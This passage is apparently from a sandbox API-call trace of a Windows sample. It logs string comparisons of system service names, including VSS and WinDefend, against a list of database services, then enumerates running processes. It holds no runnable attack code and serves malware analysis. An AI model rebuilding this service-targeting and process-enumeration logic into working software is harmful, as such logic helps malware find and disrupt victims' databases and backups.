(lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.543] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0137.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0137.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0137.543] lstrlenW (lpString="Spooler") returned 7 [0137.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0137.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0137.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0137.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0137.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0137.543] lstrlenW (lpString="sppsvc") returned 6 [0137.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0137.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0137.543] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0137.543] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0137.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0137.544] lstrlenW (lpString="swprv") returned 5 [0137.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0137.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0137.544] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0137.544] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0137.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0137.544] lstrlenW (lpString="SysMain") returned 7 [0137.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0137.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0137.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0137.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0137.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0137.544] lstrlenW (lpString="Themes") returned 6 [0137.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0137.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0137.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0137.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0137.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0137.544] lstrlenW (lpString="TrkWks") returned 6 [0137.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0137.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0137.544] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0137.544] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0137.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0137.544] lstrlenW (lpString="UxSms") returned 5 [0137.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0137.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0137.544] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0137.544] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0137.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0137.544] lstrlenW (lpString="VSS") returned 3 [0137.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0137.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0137.545] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0137.545] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0137.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0137.545] lstrlenW (lpString="W32Time") returned 7 [0137.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0137.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0137.545] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0137.545] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0137.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0137.545] lstrlenW (lpString="WdiServiceHost") returned 14 [0137.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0137.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0137.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0137.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0137.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0137.545] lstrlenW (lpString="WdiSystemHost") returned 13 [0137.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0137.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0137.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0137.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0137.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0137.545] lstrlenW (lpString="WinDefend") returned 9 [0137.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0137.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0137.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0137.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0137.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0137.545] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0137.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0137.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0137.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0137.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0137.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0137.546] lstrlenW (lpString="Winmgmt") returned 7 [0137.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0137.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0137.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0137.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0137.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0137.546] lstrlenW (lpString="wscsvc") returned 6 [0137.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0137.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0137.546] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0137.546] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0137.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0137.546] lstrlenW (lpString="wuauserv") returned 8 [0137.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0137.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0137.546] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0137.546] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0137.546] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0137.554] Process32FirstW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.555] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0137.556] lstrlenW (lpString="System") returned 6 [0137.556] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0137.557] lstrlenW (lpString="smss.exe") returned 8 [0137.557] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.560] lstrlenW (lpString="csrss.exe") returned 9 [0137.561] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0137.562] lstrlenW (lpString="wininit.exe") returned 11 [0137.562] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.562] lstrlenW (lpString="csrss.exe") returned 9 [0137.562] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0137.563] lstrlenW (lpString="winlogon.exe") returned 12 [0137.563] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0137.564] lstrlenW (lpString="services.exe") returned 12 [0137.564] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0137.565] lstrlenW (lpString="lsass.exe") returned 9 [0137.565] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0137.566] lstrlenW (lpString="lsm.exe") returned 7 [0137.566] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.567] lstrlenW (lpString="svchost.exe") returned 11 [0137.567] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.568] lstrlenW (lpString="svchost.exe") returned 11 [0137.568] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.568] lstrlenW (lpString="svchost.exe") returned 11 [0137.568] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.569] lstrlenW (lpString="svchost.exe") returned 11 [0137.569] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.570] lstrlenW (lpString="svchost.exe") returned 11 [0137.570] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0137.570] lstrlenW (lpString="audiodg.exe") returned 11 [0137.570] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.571] lstrlenW (lpString="svchost.exe") returned 11 [0137.571] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.572] lstrlenW (lpString="svchost.exe") returned 11 [0137.572] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0137.573] lstrlenW (lpString="dwm.exe") returned 7 [0137.573] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0137.574] lstrlenW (lpString="explorer.exe") returned 12 [0137.574] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0137.575] lstrlenW (lpString="spoolsv.exe") returned 11 [0137.575] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0137.575] lstrlenW (lpString="taskhost.exe") returned 12 [0137.575] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.576] lstrlenW (lpString="svchost.exe") returned 11 [0137.576] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0137.577] lstrlenW (lpString="taskeng.exe") returned 11 [0137.577] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0137.577] lstrlenW (lpString="taskhost.exe") returned 12 [0137.577] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0137.578] lstrlenW (lpString="fixwaves.exe") returned 12 [0137.578] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0137.579] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0137.579] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0137.579] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0137.580] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0137.580] lstrlenW (lpString="monsaver.exe") returned 12 [0137.580] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0137.581] lstrlenW (lpString="dosesugar.exe") returned 13 [0137.612] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0137.613] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0137.613] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0137.614] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0137.614] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0137.615] lstrlenW (lpString="nonprofit top.exe") returned 17 [0137.615] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0137.615] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0137.616] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0137.616] lstrlenW (lpString="accused.exe") returned 11 [0137.616] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0137.617] lstrlenW (lpString="governance.exe") returned 14 [0137.617] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0137.618] lstrlenW (lpString="old.exe") returned 7 [0137.618] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0137.618] lstrlenW (lpString="xi cg.exe") returned 9 [0137.618] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0137.619] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0137.619] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0137.620] lstrlenW (lpString="burlington.exe") returned 14 [0137.620] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0137.620] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0137.620] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0137.621] lstrlenW (lpString="buildings.exe") returned 13 [0137.621] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0137.622] lstrlenW (lpString="predictions_took.exe") returned 20 [0137.622] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0137.622] lstrlenW (lpString="carry_dns.exe") returned 13 [0137.622] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0137.623] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0137.623] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.624] lstrlenW (lpString="svchost.exe") returned 11 [0137.624] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0137.624] lstrlenW (lpString="sppsvc.exe") returned 10 [0137.624] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.625] lstrlenW (lpString="svchost.exe") returned 11 [0137.625] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0137.626] lstrlenW (lpString="msiexec.exe") returned 11 [0137.626] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0137.626] lstrlenW (lpString="cmd.exe") returned 7 [0137.626] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, 